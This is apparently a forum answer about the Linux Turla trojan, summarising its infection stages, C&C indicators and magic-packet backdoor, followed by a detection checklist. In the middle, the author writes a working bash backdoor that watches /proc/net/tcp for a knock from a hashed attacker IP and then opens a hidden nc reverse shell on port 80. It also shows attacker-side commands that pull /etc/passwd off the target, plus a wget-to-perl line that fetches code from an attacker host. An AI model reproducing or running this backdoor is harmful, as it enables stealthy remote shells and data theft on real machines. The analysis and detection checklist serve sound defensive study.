Linux-based Turla trojan

TURLA is the final stage of a large and sophisticated family of malware. There have been known Windows versions since at least 2010. This 40 page presentation is the most comprehensive resource I have seen, for either platform.

TURLA - development & operations

Some Windows Highlights

  • Stage 0: attack stage - infection vector
  • Stage 1: reconnaissance stage - initial backdoor
  • Stage 2: lateral movements
  • Stage 3: access established stage -TURLA deployed
  • On each stage they can quit if they lose interest in target

Stage 0: Injection Vectors

  • Spear Phishing (CVE-2013-3346)(CVE-2013-5065)

  • Watering Holes [Adobe Update social engineering / Java exploits (CVE-2012-1723), Adobe Flash exploits or Internet Explorer 6,7,8 exploits]

  • Third party supplier compromise

Stage 1: Reconaissance Stage

  • Initial backdoor - WipBot/Epic/TavDig

  • WipBot is a combination of a zero-day and a CVE-2013-3346 exploit

  • Exports functions with same names as TURLA. No other similarities

  • Breaks debugging and most malware sandboxes

  • Process hops several times, wipes its own PE section

  • Further described in Kaspersky Lab report

Stage 2: Lateral Movements

  • Refine C&C

  • Further penetrate network

  • Utilize new backdoor

  • Gets Domain Admin credentials

Stage 3: Turla

  • Dropped on select machines for long-term compromise

  • Machines can be compromised for years without detection





Other Resources

  • The 'Penguin Turla' - Kaspersky Lab (linux specific details)

  • Symantec Report - Turla





Linux Highlights

  • Turla module written in C/C++

  • Based on cd00r

  • Executable is statically linked against multiple libraries

  • Its functionality includes hidden network communications, arbitrary remote command execution, and remote management

  • Much of its code is based on public sources

  • Cannot be detected with netstat

  • Does not require root access

Linux Executable Characteristics

  • ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, stripped

Linux Statically Linked Libraries

  • glibc2.3.2 - the GNU C library

  • openssl v0.9.6 - an older OpenSSL library

  • libpcap - tcpdump's network capture library

Linux C&C Details

  • First stage C&C is hardcoded. Known activity @ news-bbc.podzone[.]org

  • pDNS IP: 80.248.65.183

Linux Startup/Execution Details

  • Process requires two parameters: ID (a numeric value used as a part of the "magic packet for authentication") and an existing network interface name

  • The parameters can be inputted two different ways: from STDIN, or from dropper a launching the sample

  • After the ID and interface name are entered and the process launched, the backdoor's process PID is returned

Linux Magic Packet

  • Statically links PCAP libraries

  • Gets raw socket, applies filter, captures packets

  • Checks for an ACK number in the TCP header, or the second byte from the UDP packet body

  • If condition is met, execution jumps to packet payload contents and creates regular socket

  • Backdoor uses new socket to connect to source address of Magic Packets

  • Backdoor reports its own PID and IP, waits to receive commands

  • Arriving commands are executed with a "/bin/sh -c " script

Final Notes

Everything regarding the linux version was from the Kaspersky report. Unfortunately, detecting seems to be very difficult at this point.

"Although Linux variants from the Turla framework were known to exist, we haven't seen any in the wild yet." - Kaspersky Lab


How this work:

Short intro

In order to find a way to detect them, I've strongly worked around concept and methods.

For this, I quickly wrote a little bash script working in approx same way.

From there and with some additional knowledge about Un*x concepts, I post my checklist which could help to find this working trojan in any system.

Bash re-written Turla knock-door

In order to understand how this work, I wrote this:

(This have to be run on target host, by some remote exploit, viruses or else.)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP        # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # port listen on attacker host

while true;do
    while IFS=': ' read seq loci locp remi remp foo;do
        [ -z "${seq//[0-9]}" ] &&
            [ "$locp" == "$bport" ] &&
            [ "$remp" != "0000" ] &&
            myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
            myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
            chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
            [ "$chksum" == "$myIpSum" ] &&
            nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

This is not totally undetectable but...

Features

  • Totally undetectable by using netstat, while staying listen for attacker's connexions.
  • Use [In->Out] as [RANDOM->80] tcp ports to make connection look like any surf connection.
  • Wait for specific IP (hashed, so not readable) on local port 22, without using promiscuous mode nor requiring root privilege
  • Once detected an incomming connection from the specific IP (Knock!), this open a connection to this IP, on port 80 to look like a surf connection and offer a bash, back on this connection.

Note: Real trojan could use SSL and real HTTP Headers in order to work through proxy too!!

This accept 4 arguments:

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
  • myIpSUm is hash of salted attacker's IP. Could be rendered by using md5sum <<<SaltMyIP192.168.1.31 (Salt could be changed in script).
  • KnockDoorPort -> bport is any already binded port, used on target host (22 for sample if target serve SSH, but any opened port could be used)
  • myPort -> rport is local attacker's port used for incomming connection (80 to look like outgoing http connection. Of course attacker have to be root on his host!)
  • -i flag could be used to run bash interactively

Step of infection

  1. First step is to run this script by using any remote exploit, like shellshock or any buffer-overflow.

  2. Second, attacker have to know target's IP, in order to send a knock door on port 22

  3. Use from attacker's IP (as root for listening on tcp port 80), wait for target's incomming connection.

  4. You're logger in a shell on target!

    bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
         ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
    

Sample:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

or

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

Not so easy to detect

While the script stay running on target host, and no attacker's connection are open, the running script is not visible by using netcat.

Knock are done once on port 22 where having a lot of connection fail is regular. Real shell connection look like any outgoing http connection.

Answers:

  1. How do linux machines get infected

    This is a trojan, so this question does not really a matter... (see Shellshock, for sample)

  2. Is there any privilege escalation involved, or is the whole thing only happening under the infected user (i.e. uid 1000)

    No, one of the goal of this is to permit attacker to search for a way of doing privilege escalation.

  3. Where does the malware code "live" on the infected machine

    1. Everywhere and nowhere: If you run this as an attachment, you may know where you've been stored them. If it's run from a remote exploit, they could delete the binary once run.

    2. If Turla is a binary (C written), thay have to be stored somewhere in your Un*x system, with executable flags set in order to be run. Recent filesystem do permit to delete them after running, but inode have to stay untouched!
      This could be revealed be searching for binaries that run in your system but is located in standard PATH.

    3. If trojan is a script, only the binary have to be linked in filesystem, so the script could be deleted or even run as STDIN and not stored at all.
      wget -qO - http://attacker.example.com/virus.pl | perl

  4. plus any other interesting details

    Please try my bash script...

Checklist (added: 2015-02-04)

  • Search for forked pids (where Parent Pid == 1)

     grep PPid:\\s1$ /proc/*/status
    
  • Search for process that don't run binary from PATH

     for pid in $(ps axho pid);do
         readlink /proc/$pid/exe |
           sed 's/\/[^\/]*$//'|
           grep -q "^${PATH//:/$\|^}$" ||
             printf "%10d  %-16s  %s\n" $pid "$(
                 sed 's/Name:[\t ]*//;q' /proc/$pid/status
               )" "$(
                 readlink /proc/$pid/exe
               )"
       done
    
  • Search for process running for a long time

     ps axho pid,etime,user,cmd
    

    ...

     ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
    
  • Script: Search for process making sort of hidding: compare exe and command line

     for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
         printf "%10d  %-40s  %s\n" $pid "$(
             readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
       done
    
  • Using apparmor, you could watch for process accessing tcp stack (and/or udp stack).

  • Using tcpdump, there is a strong work, but an efficient solution:

    Watch for outgoing connection wich make any kind of request, become an answer not necessarly immediately after, but send next request immediately after recieving first answer, then don't care about last request's answer: will quit when recieving exit directive, saying something like logout., wich could by driven as the last http request of current session, but close before recieving any http response.

    In fact, you have to find an outgoing connection where data exchanges don't match regular scheme of outgoing connection but an hybrid scheme of server-start - incoming connection - server-stop.

    Of course, this have to be trapped because no connection are permanently open.

  • Making system calls statistics (using apparmor)

    thanks to alphanet for this idea

    Make stats for each running process and

    Submit them to a bayesian tool to compute regular profiles

    In order to become alerted when a new process don't match regular profiles (or even when a running process change).